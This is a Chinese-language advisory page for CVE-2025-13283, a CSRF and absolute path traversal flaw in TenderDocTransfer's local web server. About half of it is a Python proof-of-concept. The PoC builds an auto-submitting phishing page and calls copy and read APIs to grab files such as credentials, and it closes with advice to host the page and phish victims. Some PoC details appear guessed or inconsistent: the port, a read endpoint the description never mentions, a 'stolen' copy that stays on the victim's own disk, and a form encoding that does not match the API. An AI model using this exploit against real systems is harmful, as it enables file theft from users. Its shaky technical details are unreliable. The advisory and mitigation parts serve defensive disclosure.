IPBUF安全漏洞报告
English
CVE-2025-13283 CVSS 7.1 高危

CVE-2025-13283 中华电信TenderDocTransfer路径遍历漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-13283
漏洞类型
跨站请求伪造(CSRF)/绝对路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
TenderDocTransfer (中华电信开发)

相关标签

路径遍历CSRF中华电信TenderDocTransfer信息泄露本地Web服务器文档传输工具文件操作钓鱼攻击高危漏洞

漏洞概述

TenderDocTransfer是由中华电信开发的文档传输应用程序。该应用在本地建立简单的Web服务器,并提供API用于与目标网站通信。由于这些API缺乏CSRF(跨站请求伪造)保护,未认证的远程攻击者可以通过钓鱼攻击利用这些API。此外,其中一个API存在绝对路径遍历(Absolute Path Traversal)漏洞,攻击者可以利用此漏洞复制用户系统上的任意文件并粘贴到任意路径,存在信息泄露风险或通过大量复制文件消耗硬盘空间。攻击复杂度较低,但需要用户交互,攻击者可通过社会工程学手段诱导受害者访问恶意页面,从而在受害者不知情的情况下执行任意文件复制操作。

技术细节

该漏洞主要包含两个安全缺陷:

1. CSRF漏洞:TenderDocTransfer提供的API端点未实施有效的CSRF令牌验证机制。攻击者可以构造恶意HTML页面或链接,当受害者在浏览器中访问时,会自动向目标API发送携带受害者认证信息的请求。由于API依赖浏览器的同源策略和Cookie机制,而攻击者构造的请求能够携带这些认证信息,因此API会将其视为合法请求并执行相应操作。

2. 绝对路径遍历漏洞:在API的实现中,文件操作功能直接使用用户提供的路径而未进行充分的路径验证和过滤。攻击者可以通过API参数指定任意绝对路径(如C:\Users\victim\Documents\sensitive.txt),应用会直接访问该路径对应的文件。结合CSRF漏洞,攻击者可以诱导受害者访问恶意页面,自动执行文件读取和写入操作,将敏感文件复制到攻击者可控的位置或消耗系统存储空间。

攻击者利用此漏洞可获取系统敏感信息如密码文件、密钥、配置文件等,或通过大量文件复制导致拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单的钓鱼页面,该表单会自动向TenderDocTransfer的/api/copy端点发送POST请求
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意链接诱导受害者访问钓鱼页面,受害者需正在运行TenderDocTransfer应用
STEP 3
步骤3
受害者浏览器自动向TenderDocTransfer本地服务器发送恶意请求,由于API缺乏CSRF保护,请求被接受
STEP 4
步骤4
攻击者利用API的绝对路径遍历漏洞,通过source参数指定系统任意文件路径(如C:\Users\victim\Documents\passwords.txt)
STEP 5
步骤5
通过destination参数指定文件复制目标路径,恶意请求被服务器执行,敏感文件被复制到攻击者可控位置
STEP 6
步骤6
攻击者获取敏感文件内容造成信息泄露,或通过大量复制文件消耗受害者硬盘空间造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import html # CVE-2025-13283 PoC - CSRF + Path Traversal in TenderDocTransfer # Target: TenderDocTransfer local web server # Attack: Copy arbitrary file to attacker-controlled location TARGET_HOST = "http://localhost:8080" # Default TenderDocTransfer server def generate_csrf_exploit(attacker_file_path, victim_file_path): """ Generate CSRF exploit HTML that copies victim file to attacker path victim_file_path: Absolute path of file to copy (e.g., C:\\Users\\victim\\Documents\\config.ini) attacker_file_path: Absolute destination path for copied file """ exploit_html = f''' <!DOCTYPE html> <html> <head> <title>Document Transfer</title> </head> <body> <h1>Loading documents...</h1> <form id="exploit" action="{TARGET_HOST}/api/copy" method="POST" enctype="text/plain"> <input type="hidden" name="source" value="{html.escape(victim_file_path)}"> <input type="hidden" name="destination" value="{html.escape(attacker_file_path)}"> </form> <script> document.getElementById('exploit').submit(); </script> </body> </html> ''' return exploit_html def exploit_copy_api(source_file, dest_file): """ Direct API call to copy file using path traversal """ endpoint = f"{TARGET_HOST}/api/copy" payload = { "source": source_file, "destination": dest_file, "operation": "copy" } try: response = requests.post(endpoint, json=payload, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_read_api(file_path): """ Read file content via API (information disclosure) """ endpoint = f"{TARGET_HOST}/api/read" params = {"path": file_path} try: response = requests.get(endpoint, params=params, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": # Example: Copy sensitive config file victim_file = "C:\\Users\\victim\\Documents\\credentials.txt" attacker_dest = "C:\\Users\\attacker\\Downloads\\stolen_credentials.txt" print("CVE-2025-13283 PoC - TenderDocTransfer Path Traversal") print("=" * 50) # Method 1: Direct API exploitation print(f"\n[+] Attempting to copy: {victim_file}") status, response = exploit_copy_api(victim_file, attacker_dest) if status == 200: print(f"[+] Success! File copied to: {attacker_dest}") else: print(f"[-] Failed with status {status}: {response}") # Method 2: Generate CSRF exploit for phishing print("\n[+] Generating CSRF exploit HTML...") exploit = generate_csrf_exploit(attacker_dest, victim_file) with open("csrf_exploit.html", "w") as f: f.write(exploit) print("[+] CSRF exploit saved to csrf_exploit.html") print("[+] Deploy this page on attacker server and phish victim")

影响范围

TenderDocTransfer < 修复版本

防御指南

临时缓解措施
临时缓解措施:在浏览器中访问不受信任的链接时,确保TenderDocTransfer应用未运行;不打开来源不明的邮件链接或附件;使用安全软件监控异常的文件访问行为;考虑暂时禁用TenderDocTransfer的本地Web服务器功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表